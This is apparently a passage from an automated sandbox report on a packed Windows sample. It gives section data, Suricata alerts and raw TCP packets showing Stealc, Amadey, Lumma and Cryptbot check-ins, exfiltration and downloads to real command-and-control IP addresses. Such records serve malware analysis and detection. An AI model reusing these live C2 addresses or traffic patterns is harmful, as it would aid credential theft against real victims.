	0x24c000	0x2a2000	0x200	83ac7297ef6549ebccb817219a36a3f0	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
qflvhncs	0x4ee000	0x19d000	0x19c400	1aa7959a4ee57409a6704fed1fb7cc08	False	0.9947600818677986	data	7.953955631255353	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
uedzvgbu	0x68b000	0x1000	0x400	11b71bcbc2c954a104a99716f570232b	False	0.7607421875	data	6.096294493140201	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x68c000	0x3000	0x2200	9e220530ec34afc2b1fdf6086d5906ad	False	0.08295036764705882	DOS executable (COM)	1.0883599417165517	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x68a0cc	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-24T02:13:03.329290+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-24T02:13:03.774803+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-24T02:13:03.901916+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.4	49730	TCP
2024-11-24T02:13:04.221672+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-24T02:13:04.350796+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.4	49730	TCP
2024-11-24T02:13:05.779235+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-24T02:13:06.917713+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-24T02:13:22.227157+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49748	185.215.113.206	80	TCP
2024-11-24T02:13:24.170864+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49748	185.215.113.206	80	TCP
2024-11-24T02:13:25.486383+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49748	185.215.113.206	80	TCP
2024-11-24T02:13:26.595695+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49748	185.215.113.206	80	TCP
2024-11-24T02:13:30.173780+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49748	185.215.113.206	80	TCP
2024-11-24T02:13:31.282610+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49748	185.215.113.206	80	TCP
2024-11-24T02:13:37.231843+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49756	185.215.113.16	80	TCP
2024-11-24T02:13:51.556844+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49758	185.215.113.43	80	TCP
2024-11-24T02:13:56.236082+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49760	31.41.244.11	80	TCP
2024-11-24T02:14:05.773405+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49759	TCP
2024-11-24T02:14:07.152967+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49783	185.215.113.43	80	TCP
2024-11-24T02:14:08.712377+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49788	31.41.244.11	80	TCP
2024-11-24T02:14:11.735307+0100	2044623	ET MALWARE Amadey Bot Activity (POST)	1	192.168.2.4	49796	185.215.113.43	80	TCP
2024-11-24T02:14:13.198379+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49801	31.41.244.11	80	TCP
2024-11-24T02:14:16.322915+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49808	185.215.113.43	80	TCP
2024-11-24T02:14:19.695343+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49814	185.215.113.43	80	TCP
2024-11-24T02:14:21.157535+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49820	31.41.244.11	80	TCP
2024-11-24T02:14:24.293474+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49828	185.215.113.43	80	TCP
2024-11-24T02:14:25.815000+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49832	31.41.244.11	80	TCP
2024-11-24T02:14:28.988291+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49839	185.215.113.43	80	TCP
2024-11-24T02:14:30.497825+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49844	31.41.244.11	80	TCP
2024-11-24T02:14:33.001244+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	49850	34.116.198.130	80	TCP
2024-11-24T02:14:33.570096+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49853	185.215.113.43	80	TCP
2024-11-24T02:14:34.668470+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	49861	34.116.198.130	80	TCP
2024-11-24T02:14:35.133000+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49857	31.41.244.11	80	TCP
2024-11-24T02:14:38.184062+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49868	185.215.113.43	80	TCP
2024-11-24T02:14:39.696162+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49870	185.215.113.16	80	TCP
2024-11-24T02:14:44.266230+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	49888	34.116.198.130	80	TCP
2024-11-24T02:14:47.120945+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49895	185.215.113.43	80	TCP
2024-11-24T02:14:47.989853+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49900	104.21.33.116	443	TCP
2024-11-24T02:14:48.630607+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49901	185.215.113.16	80	TCP
2024-11-24T02:14:49.051225+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49900	104.21.33.116	443	TCP
2024-11-24T02:14:49.051225+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49900	104.21.33.116	443	TCP
2024-11-24T02:14:50.402174+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49907	104.21.33.116	443	TCP
2024-11-24T02:14:51.253659+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49907	104.21.33.116	443	TCP
2024-11-24T02:14:51.253659+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49907	104.21.33.116	443	TCP
2024-11-24T02:14:53.329256+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49913	104.21.33.116	443	TCP
2024-11-24T02:14:55.625517+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49919	185.215.113.43	80	TCP
2024-11-24T02:14:56.654316+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49924	104.21.33.116	443	TCP
2024-11-24T02:14:57.135060+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49925	185.215.113.16	80	TCP
2024-11-24T02:14:57.577476+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49924	104.21.33.116	443	TCP
2024-11-24T02:14:58.381490+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49927	185.215.113.206	80	TCP
2024-11-24T02:15:01.444951+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49937	104.21.33.116	443	TCP
2024-11-24T02:15:03.781111+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49938	185.215.113.43	80	TCP
2024-11-24T02:15:04.335037+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49944	104.21.33.116	443	TCP
2024-11-24T02:15:05.360343+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49945	185.215.113.16	80	TCP
2024-11-24T02:15:05.616052+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49944	104.21.33.116	443	TCP
2024-11-24T02:15:05.616052+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49944	104.21.33.116	443	TCP
2024-11-24T02:15:06.701720+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49951	104.21.33.116	443	TCP
2024-11-24T02:15:07.254545+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49952	104.21.33.116	443	TCP
2024-11-24T02:15:08.509343+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49952	104.21.33.116	443	TCP
2024-11-24T02:15:08.509343+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49952	104.21.33.116	443	TCP
2024-11-24T02:15:14.710842+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49969	185.215.113.43	80	TCP
2024-11-24T02:15:14.747934+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49973	104.21.33.116	443	TCP
2024-11-24T02:15:15.423927+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49974	104.21.33.116	443	TCP
2024-11-24T02:15:16.177352+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49975	31.41.244.11	80	TCP
2024-11-24T02:15:18.536111+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49982	104.21.33.116	443	TCP
2024-11-24T02:15:19.380034+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49985	185.215.113.43	80	TCP
2024-11-24T02:15:19.395397+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49981	185.215.113.206	80	TCP
2024-11-24T02:15:22.443977+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49995	104.21.33.116	443	TCP
2024-11-24T02:15:23.234549+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49996	104.21.33.116	443	TCP
2024-11-24T02:15:32.011661+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50019	104.21.33.116	443	TCP
2024-11-24T02:15:32.713488+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	50019	104.21.33.116	443	TCP
2024-11-24T02:15:37.123761+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50032	104.21.33.116	443	TCP
2024-11-24T02:15:40.775869+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50039	104.21.33.116	443	TCP
2024-11-24T02:15:40.964333+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50040	104.21.33.116	443	TCP
2024-11-24T02:15:41.576527+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50040	104.21.33.116	443	TCP
2024-11-24T02:15:41.662632+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	50039	104.21.33.116	443	TCP
2024-11-24T02:15:41.662632+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50039	104.21.33.116	443	TCP
2024-11-24T02:15:43.128215+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	50049	185.215.113.16	80	TCP
2024-11-24T02:15:43.821614+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50050	104.21.33.116	443	TCP
2024-11-24T02:15:44.524634+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	50050	104.21.33.116	443	TCP
2024-11-24T02:15:44.524634+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50050	104.21.33.116	443	TCP
2024-11-24T02:15:46.053277+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50057	185.215.113.206	80	TCP
2024-11-24T02:15:48.716704+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50064	104.21.33.116	443	TCP
2024-11-24T02:15:51.909006+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50071	104.21.33.116	443	TCP
2024-11-24T02:15:53.941010+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50076	104.21.33.116	443	TCP
2024-11-24T02:15:56.404417+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50083	104.21.33.116	443	TCP
2024-11-24T02:16:00.556223+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50116	104.21.33.116	443	TCP
2024-11-24T02:16:01.390051+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	50116	104.21.33.116	443	TCP
2024-11-24T02:16:02.744264+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50131	104.21.33.116	443	TCP
2024-11-24T02:16:03.463418+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50131	104.21.33.116	443	TCP
2024-11-24T02:16:04.975286+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	50140	185.215.113.16	80	TCP
2024-11-24T02:16:32.841729+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50216	20.189.173.22	443	TCP
2024-11-24T02:17:51.377124+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50276	40.79.173.40	443	TCP
2024-11-24T02:18:58.298908+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	50344	185.215.113.43	80	TCP
2024-11-24T02:20:59.888181+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50416	31.41.244.11	80	TCP
2024-11-24T02:21:00.110163+0100	2800029	ETPRO EXPLOIT Multiple Vendor Malformed ZIP Archive Antivirus Detection Bypass	1	31.41.244.11	80	192.168.2.4	50416	TCP
2024-11-24T02:21:03.077189+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	50413	TCP
2024-11-24T02:21:04.457183+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50420	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 24, 2024 02:13:01.409960032 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:01.529685974 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:01.529766083 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:01.529920101 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:01.649481058 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:02.631139994 CET	49675	443	192.168.2.4	173.222.162.32
Nov 24, 2024 02:13:02.868947983 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:02.869009018 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:02.871146917 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:02.990613937 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:03.327035904 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:03.329289913 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:03.335021019 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:03.454689026 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:03.774652958 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:03.774708986 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:03.774802923 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:03.782445908 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:03.901916027 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:04.221615076 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:04.221628904 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:04.221640110 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:04.221672058 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:04.221693039 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:04.221704006 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:04.221709967 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:04.221712112 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:04.221752882 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:04.229759932 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:04.229809046 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:04.231344938 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:04.350795984 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:04.676203012 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:04.676281929 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:04.692401886 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:04.692450047 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:04.811944962 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:04.811984062 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:04.812043905 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:04.812052011 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:04.812211037 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:04.812220097 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:04.812267065 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:05.775798082 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:05.779234886 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:06.456962109 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:06.576442003 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:06.917659998 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:06.917712927 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:06.917726994 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:06.917777061 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:06.921722889 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:06.921766043 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:06.922595024 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:06.922638893 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:06.922673941 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:06.922723055 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:06.927556038 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:06.927609921 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:06.927707911 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:06.927752018 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:06.935986996 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:06.936036110 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:06.936189890 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:06.936228037 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:06.944395065 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:06.944458008 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:06.944459915 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:06.944497108 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:06.952683926 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:06.952733040 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:06.952768087 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:06.952810049 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.043864965 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.043920040 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.043953896 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.043996096 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.048063040 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.048106909 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.048136950 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.048177958 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.056400061 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.056447983 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.056523085 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.056565046 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.064793110 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.064836979 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.064905882 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.064953089 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.073137999 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.073184967 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.073218107 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.073255062 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.109529018 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.109575987 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.109678984 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.109715939 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.113634109 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.113679886 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.113749981 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.113795042 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.122006893 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.122051954 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.124963999 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.125001907 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.125071049 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.125118017 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.133443117 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.133455038 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.133510113 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.141675949 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.141732931 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.141771078 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.141818047 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.150006056 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.150111914 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.150137901 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.150336027 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.158324003 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.158437014 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.168329954 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.168391943 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.168499947 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.168632030 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.171993017 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.172072887 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.172094107 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.172174931 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.176733017 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.176847935 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.176847935 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.176908970 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.184061050 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.184178114 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.184210062 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.187863111 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.191400051 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.191495895 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.191520929 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.195296049 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.235917091 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.236027002 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.236059904 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.236243010 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.239255905 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.239366055 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.239494085 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.239608049 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.245922089 CET	80	49730	185.215.113.206	192.168.2.4
